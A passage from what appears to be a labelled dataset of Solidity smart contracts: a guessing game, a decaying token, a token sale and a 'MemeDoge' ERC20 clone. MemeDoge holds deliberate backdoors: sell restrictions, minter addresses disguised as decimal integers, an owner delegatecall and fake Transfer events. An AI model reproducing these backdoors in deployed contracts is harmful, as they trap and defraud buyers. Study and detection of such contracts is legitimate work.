address(contracts[contracts.length.sub(1)]).transfer(address(this).balance - 1 ether);
if (address(this).balance == 0) {
master.transferEth();
}
}
}
contract Eth17 is usingOraclize {
using SafeMath for uint256;
address public thisContractAddress;
address public admin;
address public masterAddress;
address public factoryAddress;
address public devWallet;
bool public mutex;
bool public contractHasBeenSpawned;
bool public newGameStarted;
bool public newGameStartedError;
uint public timeReset = 3600;
uint private random;
bool public guessedCorrectly;
uint public theCorrectNumber;
uint public randomPublic;
bool public randomNumberRetrieved;
bool public gameAbandoned;
address public lastGuessAddress;
uint public gameEnd;
uint public lowValue = 1;
uint public highValue = 1000000;
uint public nextGuess = 1;
uint public guess1 = 0;
uint public guess2 = 2500000000000000;
uint public guess3 = 5000000000000000;
uint public guess4 = 6000000000000000;
uint public guess5 = 7000000000000000;
uint public guess6 = 8000000000000000;
uint public guess7 = 9000000000000000;
uint public guess8 = 10000000000000000;
uint public guess9 = 20000000000000000;
uint public guess10 = 30000000000000000;
uint public guess11 = 40000000000000000;
uint public guess12 = 50000000000000000;
uint public guess13 = 60000000000000000;
uint public guess14 = 70000000000000000;
uint public guess15 = 80000000000000000;
uint public guess16 = 90000000000000000;
uint public guess17 = 100000000000000000;
modifier onlyAdmin {
require(msg.sender == admin
);
_;
}
modifier onlyDev {
require(msg.sender == devWallet
);
_;
}
modifier onlyContract {
require(msg.sender == thisContractAddress
);
_;
}
modifier adminOrLastGuessAddress {
require(
msg.sender == admin ||
msg.sender == lastGuessAddress
);
_;
}
modifier adminOrThisContract {
require(
msg.sender == admin ||
msg.sender == thisContractAddress
);
_;
}
Factory factory;
Master master;
constructor() public payable {
admin = msg.sender;
thisContractAddress = address(this);
masterAddress = 0x2fd1C5Be712511454DbAE356c100f2004F243998;
master = Master(masterAddress);
factory = Factory(master.factoryContractAddress());
factoryAddress = factory.thisContractAddress();
devWallet = factory.devWallet();
getRandom();
}
function () private payable {}
function thisContractBalance() public view returns(uint) {
return address(this).balance;
}
function currentRange() public view returns(uint) {
return highValue.sub(lowValue);
}
function startNewGame() public {
require(!mutex);
require(newGameStarted == false);
mutex = true;
require (nextGuess > 1);
require (nextGuess < 17);
require (guessedCorrectly == false);
require (now > gameEnd);
require (gameEnd > 0);
require (address(this).balance > 0);
require (lastGuessAddress != 0x0);
showRandomNumber();
spawnNewContract();
address(lastGuessAddress).transfer(address(this).balance);
newGameStarted = true;
mutex = false;
}
function startNewGameError() public {
require(!mutex);
require(newGameStartedError == false);
require(randomNumberRetrieved == false);
require (nextGuess == 1);
mutex = true;
spawnNewContractSeventeenGuesses();
newGameStartedError = true;
mutex = false;
}
function guessNumber(uint _guess) public payable {
require(randomNumberRetrieved == true);
require(!mutex);
mutex = true;
if (nextGuess == 17) {
require (msg.value == costOfNextGuess());
lastGuessAddress = msg.sender;
address(msg.sender).transfer(guess17);
address(devWallet).transfer(0.2875 ether);
address(admin).transfer(address(this).balance);
nextGuess ++;
showRandomNumber();
spawnNewContractSeventeenGuesses();
mutex = false;
}
else if (nextGuess != 17) {
require (random != 0);
require (nextGuess < 18);
require (msg.value == costOfNextGuess());
require (_guess >= lowValue);
require (_guess <= highValue);
if (_guess == random) {
require (msg.value == costOfNextGuess());
guessedCorrectly = true;
nextGuess ++;
showRandomNumber();
spawnNewContract();
address(msg.sender).transfer(address(this).balance);
mutex = false;
}
else if (_guess < random) {
require (msg.value == costOfNextGuess());
lowValue = _guess + 1;
nextGuess ++;
gameEnd = now.add(timeReset);
lastGuessAddress = msg.sender;
mutex = false;
}
else if (_guess > random) {
require (msg.value == costOfNextGuess());
highValue = _guess - 1;
nextGuess ++;
gameEnd = now.add(timeReset);
lastGuessAddress = msg.sender;
mutex = false;
}
}
else revert();
}
function costOfNextGuess() public view returns(uint) {
if (nextGuess == 1) { return guess1; }
if (nextGuess == 2) { return guess2; }
if (nextGuess == 3) { return guess3; }
if (nextGuess == 4) { return guess4; }
if (nextGuess == 5) { return guess5; }
if (nextGuess == 6) { return guess6; }
if (nextGuess == 7) { return guess7; }
if (nextGuess == 8) { return guess8; }
if (nextGuess == 9) { return guess9; }
if (nextGuess == 10) { return guess10; }
if (nextGuess == 11) { return guess11; }
if (nextGuess == 12) { return guess12; }
if (nextGuess == 13) { return guess13; }
if (nextGuess == 14) { return guess14; }
if (nextGuess == 15) { return guess15; }
if (nextGuess == 16) { return guess16; }
if (nextGuess == 17) { return guess17; }
}
event newRandomNumber_bytes(bytes);
event newRandomNumber_uint(uint);
function getRandom() private {
oraclize_setProof(proofType_Ledger);
uint N = 7;
uint delay = 0;
uint callbackGas = 200000;
bytes32 queryId = oraclize_newRandomDSQuery(delay, N, callbackGas);
}
function __callback(bytes32 _queryId, string _result, bytes _proof)
{
require (msg.sender == oraclize_cbAddress());
if (oraclize_randomDS_proofVerify__returnCode(_queryId, _result, _proof) != 0) {
gameAbandoned = true;
} else {
uint maxRange = 1000000;
random = uint(sha3(_result)) % maxRange;
randomNumberRetrieved = true;
}
}
function spawnNewContract() public {
require (contractHasBeenSpawned == false);
require (
nextGuess >= 17 ||
guessedCorrectly == true ||
gameAbandoned == true ||
(now > gameEnd && nextGuess > 1)
);
factory.newSpawn();
factory.transferEth();
contractHasBeenSpawned = true;
}
function spawnNewContractSeventeenGuesses() public {
require (contractHasBeenSpawned == false);
require (
nextGuess == 18 ||
guessedCorrectly == true ||
gameAbandoned == true ||
randomNumberRetrieved == false ||
(now > gameEnd && nextGuess > 1)
);
factory.newSpawn();
factory.transferEthSeventeenGuesses();
contractHasBeenSpawned = true;
}
function showRandomNumber() public {
require (
nextGuess == 18 ||
guessedCorrectly == true ||
(now > gameEnd && nextGuess > 1)
);
makeRandomPublic();
}
function makeRandomPublic() private {
randomPublic = random;
}
} | 0 | 813 |
pragma solidity ^0.4.18;
contract Potatoin {
string public constant name = "Potatoin";
string public constant symbol = "POIN";
uint8 public constant decimals = 0;
uint public genesis;
uint public relief;
mapping(address => uint) public donated;
uint public decay;
uint public growth;
address[] farmers;
mapping(address => uint) cellars;
mapping(address => uint) trashes;
mapping(address => uint) recycled;
struct field {
uint potatoes;
uint sowed;
}
mapping(address => field[]) public fields;
mapping(address => uint) public empties;
event Transfer(address indexed _from, address indexed _to, uint _value);
function Potatoin(uint256 _relief, uint256 _decay, uint256 _growth) public {
genesis = block.timestamp;
relief = _relief;
decay = _decay;
growth = _growth;
}
function totalSupply() constant public returns (uint totalSupply) {
for (uint i = 0; i < farmers.length; i++) {
totalSupply += balanceOf(farmers[i]);
}
return totalSupply;
}
function balanceOf(address farmer) constant public returns (uint256 balance) {
return unsowed(farmer) + sowed(farmer);
}
function unsowed(address farmer) constant public returns (uint256 balance) {
var elapsed = block.timestamp - recycled[farmer];
if (elapsed < decay) {
balance = (cellars[farmer] * (decay - elapsed) + decay-1) / decay;
}
var list = fields[farmer];
for (uint i = empties[farmer]; i < list.length; i++) {
elapsed = block.timestamp - list[i].sowed;
if (elapsed >= growth && elapsed - growth < decay) {
balance += (2 * list[i].potatoes * (decay-elapsed+growth) + decay-1) / decay;
}
}
return balance;
}
function sowed(address farmer) constant public returns (uint256 balance) {
var list = fields[farmer];
for (uint i = empties[farmer]; i < list.length; i++) {
var elapsed = block.timestamp - list[i].sowed;
if (elapsed >= growth) {
continue;
}
balance += list[i].potatoes + list[i].potatoes * elapsed / growth;
}
return balance;
}
function trashed(address farmer) constant public returns (uint256 balance) {
balance = trashes[farmer];
var elapsed = block.timestamp - recycled[farmer];
if (elapsed >= 0) {
var rotten = cellars[farmer];
if (elapsed < decay) {
rotten = cellars[farmer] * elapsed / decay;
}
balance += rotten;
}
var list = fields[farmer];
for (uint i = empties[farmer]; i < list.length; i++) {
elapsed = block.timestamp - list[i].sowed;
if (elapsed >= growth) {
rotten = 2 * list[i].potatoes;
if (elapsed - growth < decay) {
rotten = 2 * list[i].potatoes * (elapsed - growth) / decay;
}
balance += rotten;
}
}
return balance;
}
function request() public {
require(block.timestamp < genesis + relief);
require(donated[msg.sender] == 0);
donated[msg.sender] = block.timestamp;
farmers.push(msg.sender);
cellars[msg.sender] = 1;
recycled[msg.sender] = block.timestamp;
Transfer(this, msg.sender, 1);
}
function sow(uint potatoes) public {
harvest(msg.sender);
if (potatoes == 0) {
return;
}
if (cellars[msg.sender] > 0) {
if (potatoes > cellars[msg.sender]) {
potatoes = cellars[msg.sender];
}
fields[msg.sender].push(field(potatoes, block.timestamp));
cellars[msg.sender] -= potatoes;
Transfer(msg.sender, this, potatoes);
}
}
function harvest(address farmer) internal {
recycle(farmer);
var list = fields[farmer];
for (uint i = empties[farmer]; i < list.length; i++) {
var elapsed = block.timestamp - list[i].sowed;
if (elapsed >= growth) {
if (elapsed - growth < decay) {
var harvested = (2 * list[i].potatoes * (decay-elapsed+growth) + decay-1) / decay;
var rotten = 2 * list[i].potatoes - harvested;
cellars[farmer] += harvested;
Transfer(this, farmer, harvested);
if (rotten > 0) {
trashes[farmer] += rotten;
Transfer(this, 0, rotten);
}
} else {
trashes[farmer] += 2 * list[i].potatoes;
Transfer(this, 0, 2 * list[i].potatoes);
}
empties[farmer]++;
}
}
if (empties[farmer] > 0 && empties[farmer] == list.length) {
delete empties[farmer];
delete fields[farmer];
}
}
function recycle(address farmer) internal {
var elapsed = block.timestamp - recycled[farmer];
if (elapsed == 0) {
return;
}
var rotten = cellars[farmer];
if (elapsed < decay) {
rotten = cellars[farmer] * elapsed / decay;
}
if (rotten > 0) {
cellars[farmer] -= rotten;
trashes[farmer] += rotten;
Transfer(farmer, 0, rotten);
}
recycled[farmer] = block.timestamp;
}
function transfer(address to, uint potatoes) public returns (bool success) {
harvest(msg.sender);
if (cellars[msg.sender] < potatoes) {
return false;
}
recycle(to);
cellars[msg.sender] -= potatoes;
cellars[to] += potatoes;
Transfer(msg.sender, to, potatoes);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
return false;
}
function approve(address _spender, uint _value) returns (bool success) {
return false;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return 0;
}
} | 1 | 3,810 |
pragma solidity ^0.4.23;
contract REDTTokenConfig {
string public constant NAME = "Real Estate Doc Token";
string public constant SYMBOL = "REDT";
uint8 public constant DECIMALS = 18;
uint public constant DECIMALSFACTOR = 10 ** uint(DECIMALS);
uint public constant TOTALSUPPLY = 1000000000 * DECIMALSFACTOR;
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract REDTTokenSaleConfig is REDTTokenConfig {
uint public constant MIN_CONTRIBUTION = 100 finney;
uint public constant RESERVE_AMOUNT = 500000000 * DECIMALSFACTOR;
uint public constant SALE_START = 1537189200;
uint public constant SALE_END = 1540990800;
uint public constant SALE0_END = 1537794000;
uint public constant SALE0_RATE = 24000;
uint public constant SALE0_CAP = 400000000 * DECIMALSFACTOR;
uint public constant SALE1_END = 1538398800;
uint public constant SALE1_RATE = 22000;
uint public constant SALE1_CAP = 500000000 * DECIMALSFACTOR;
uint public constant SALE2_END = 1540990800;
uint public constant SALE2_RATE = 20000;
uint public constant SALE2_CAP = 500000000 * DECIMALSFACTOR;
uint public constant SALE_CAP = 500000000 * DECIMALSFACTOR;
address public constant MULTISIG_ETH = 0x25C7A30F23a107ebF430FDFD582Afe1245B690Af;
address public constant MULTISIG_TKN = 0x25C7A30F23a107ebF430FDFD582Afe1245B690Af;
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Operatable is Claimable {
address public minter;
address public whiteLister;
address public launcher;
modifier canOperate() {
require(msg.sender == minter || msg.sender == whiteLister || msg.sender == owner);
_;
}
constructor() public {
minter = owner;
whiteLister = owner;
launcher = owner;
}
function setMinter (address addr) public onlyOwner {
minter = addr;
}
function setWhiteLister (address addr) public onlyOwner {
whiteLister = addr;
}
modifier onlyMinter() {
require (msg.sender == minter);
_;
}
modifier ownerOrMinter() {
require ((msg.sender == minter) || (msg.sender == owner));
_;
}
modifier onlyLauncher() {
require (msg.sender == minter);
_;
}
modifier onlyWhiteLister() {
require (msg.sender == whiteLister);
_;
}
}
contract Salvageable is Operatable {
function emergencyERC20Drain(ERC20 oddToken, uint amount) public onlyLauncher {
if (address(oddToken) == address(0)) {
launcher.transfer(amount);
return;
}
oddToken.transfer(launcher, amount);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract WhiteListed is Operatable {
uint public count;
mapping (address => bool) public whiteList;
event Whitelisted(address indexed addr, uint whitelistedCount, bool isWhitelisted);
function addWhiteListed(address[] addrs) external canOperate {
uint c = count;
for (uint i = 0; i < addrs.length; i++) {
if (!whiteList[addrs[i]]) {
whiteList[addrs[i]] = true;
c++;
emit Whitelisted(addrs[i], count, true);
}
}
count = c;
}
function removeWhiteListed(address addr) external canOperate {
require(whiteList[addr]);
whiteList[addr] = false;
count--;
emit Whitelisted(addr, count, false);
}
}
contract REDTToken is PausableToken, REDTTokenConfig, Salvageable {
using SafeMath for uint;
string public name = NAME;
string public symbol = SYMBOL;
uint8 public decimals = DECIMALS;
bool public mintingFinished = false;
event Mint(address indexed to, uint amount);
event MintFinished();
event Burn(address indexed burner, uint256 value);
modifier canMint() {
require(!mintingFinished);
_;
}
constructor(address launcher_) public {
launcher = launcher_;
paused = true;
}
function mint(address _to, uint _amount) canMint onlyMinter public returns (bool) {
require(totalSupply_.add(_amount) <= TOTALSUPPLY);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
function sendBatchCS(address[] _recipients, uint[] _values) external canOperate returns (bool) {
require(_recipients.length == _values.length);
uint senderBalance = balances[msg.sender];
for (uint i = 0; i < _values.length; i++) {
uint value = _values[i];
address to = _recipients[i];
require(senderBalance >= value);
senderBalance = senderBalance - value;
balances[to] += value;
emit Transfer(msg.sender, to, value);
}
balances[msg.sender] = senderBalance;
return true;
}
}
contract REDTTokenSale is REDTTokenSaleConfig, Claimable, Pausable, Salvageable {
using SafeMath for uint;
bool public isFinalized = false;
REDTToken public token;
uint public tokensRaised;
uint public weiRaised;
WhiteListed public whiteListed;
uint public numContributors;
mapping (address => uint) public contributions;
event Finalized();
event TokenPurchase(address indexed beneficiary, uint value, uint amount);
event TokenPresale(address indexed purchaser, uint amount);
struct capRec {
uint time;
uint amount;
}
capRec[] public capz;
uint public capDefault;
constructor( WhiteListed _whiteListed ) public {
require(now < SALE_START);
require(_whiteListed != address(0));
whiteListed = _whiteListed;
token = new REDTToken(owner);
token.mint(MULTISIG_TKN,RESERVE_AMOUNT);
initCaps();
}
function initCaps() public {
uint[4] memory caps = [uint(10),20,30,40];
uint[4] memory times = [uint(1),4,12,24];
for (uint i = 0; i < caps.length; i++) {
capRec memory cr;
cr.time = times[i];
cr.amount = caps[i];
capz.push(cr);
}
capDefault = 100;
}
function setCapRec(uint[] capsInEther, uint[] timesInHours, uint defaultCapInEther) public onlyOwner {
require(capsInEther.length == timesInHours.length);
capz.length = 0;
for (uint i = 0; i < capsInEther.length; i++) {
capRec memory cr;
cr.time = timesInHours[i];
cr.amount = capsInEther[i];
capz.push(cr);
}
capDefault = defaultCapInEther;
}
function currentCap() public view returns (uint) {
for (uint i = 0; i < capz.length; i++) {
if (now < SALE_START + capz[i].time * 1 hours)
return (capz[i].amount * 1 ether);
}
return capDefault;
}
function getRateAndCheckCap() public view returns (uint) {
require(now>SALE_START);
if ((now<SALE0_END) && (tokensRaised < SALE0_CAP))
return SALE0_RATE;
if ((now<SALE1_END) && (tokensRaised < SALE1_CAP))
return SALE1_RATE;
if ((now<SALE2_END) && (tokensRaised < SALE2_CAP))
return SALE2_RATE;
revert();
}
function () external payable {
buyTokens(msg.sender, msg.value);
}
function buyTokens(address beneficiary, uint weiAmount) internal whenNotPaused {
require(contributions[beneficiary].add(weiAmount) < currentCap());
require(whiteListed.whiteList(beneficiary));
require((weiAmount > MIN_CONTRIBUTION) || (weiAmount == SALE_CAP.sub(MIN_CONTRIBUTION)));
weiRaised = weiRaised.add(weiAmount);
uint tokens = weiAmount.mul(getRateAndCheckCap());
if (contributions[beneficiary] == 0) {
numContributors++;
}
tokensRaised = tokensRaised.add(tokens);
contributions[beneficiary] = contributions[beneficiary].add(weiAmount);
token.mint(beneficiary, tokens);
emit TokenPurchase(beneficiary, weiAmount, tokens);
forwardFunds();
}
function placeTokens(address beneficiary, uint256 numtokens)
public
ownerOrMinter
{
require(now < SALE_START);
tokensRaised = tokensRaised.add(numtokens);
token.mint(beneficiary,numtokens);
}
function tokensUnsold() public view returns(uint) {
return token.TOTALSUPPLY().sub(token.totalSupply());
}
function hasEnded() public view returns (bool) {
return ((now > SALE_END) || (tokensRaised >= SALE_CAP));
}
function forwardFunds() internal {
MULTISIG_ETH.transfer(address(this).balance);
}
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
token.finishMinting();
token.transferOwnership(owner);
}
} | 1 | 4,522 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract MemeDoge {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
